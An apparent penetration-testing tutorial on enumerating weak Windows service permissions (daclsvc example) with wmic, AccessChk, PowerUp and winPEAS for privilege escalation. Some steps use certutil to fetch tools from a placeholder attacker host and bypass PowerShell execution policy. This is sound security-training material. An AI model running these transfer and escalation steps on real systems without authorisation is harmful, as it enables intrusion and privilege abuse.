Enumerating services manually¶
-
Use
wmic
to display all non-standard services running on the system:
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\Windows\\"
-
The same can be done in PowerShell with
Get-WmiObject
:
Get-WmiObject -class Win32_Service -Property Name,DisplayName,PathName,StartMode | Where {$_.PathName -notlike "C:\Windows\*"} | Select PathName,DisplayName,Name
Enumerating services with AccessChk¶
-
If you don’t have the Sysinternals Suite, download it from the official Microsoft site.
Note: Confirm that the target is 64-bit:
systeminfo | findstr /B /C:"System Type"
-
Host the binary with Python and transfer it to the target with
certutil
:
certutil -urlcache -f http://[IP-ADDRESS]:8000/accesschk64.exe accesschk64.exe
-
Use AccessChk to find services writable by the current user:
.\accesschk64.exe "%USERNAME%" -wuvc * -accepteula
Note: Here, the
daclsvc
service hasSERVICE_CHANGE_CONFIG
permissions, meaning any user can modify it.
The other permission of interest for escalation isSERVICE_ALL_ACCESS
. -
PowerUp can also perform service misconfiguration checks in one command:
powershell -NoProfile -ExecutionPolicy Bypass -Command "& {.\PowerUp.ps1; Invoke-AllChecks}"
Enumerating service permissions with winPEAS¶
-
Since the target runs a 64-bit OS, host winPEASx64 with Python:
python3 -m http.server 8000
Note: Confirm architecture with:
systeminfo | findstr /B /C:"System Type"
-
Transfer winPEAS to the target:
certutil -urlcache -f http://[IP-ADDRESS]:8000/winPEASx64.exe winPEASx64.exe
-
Run winPEAS to search for weak service permissions:
.\winPEASx64.exe
Note: The “Services Information” section provides a detailed list of services, configs, and security issues.
-
Scrolling further down, the “Modifiable Services” sub-section highlights services the current user can modify.
Gathering service information¶
-
The most important service attributes are the start mode, binary path, and
StartName
. Example:
sc qc daclsvc
-
In PowerShell:
Get-WmiObject win32_service | ?{$_.Name -like 'daclsvc'} | select Name, DisplayName, StartMode, State, PathName, StartName
Note: Here,
StartName
isLocalSystem
, meaning the service runs with SYSTEM privileges.
If it were another account, we would need to adjust the configuration so it executes as SYSTEM. -
Use SetACL to enumerate detailed permissions on the service:
.\SetACL.exe -on "daclsvc" -ot srv -actn list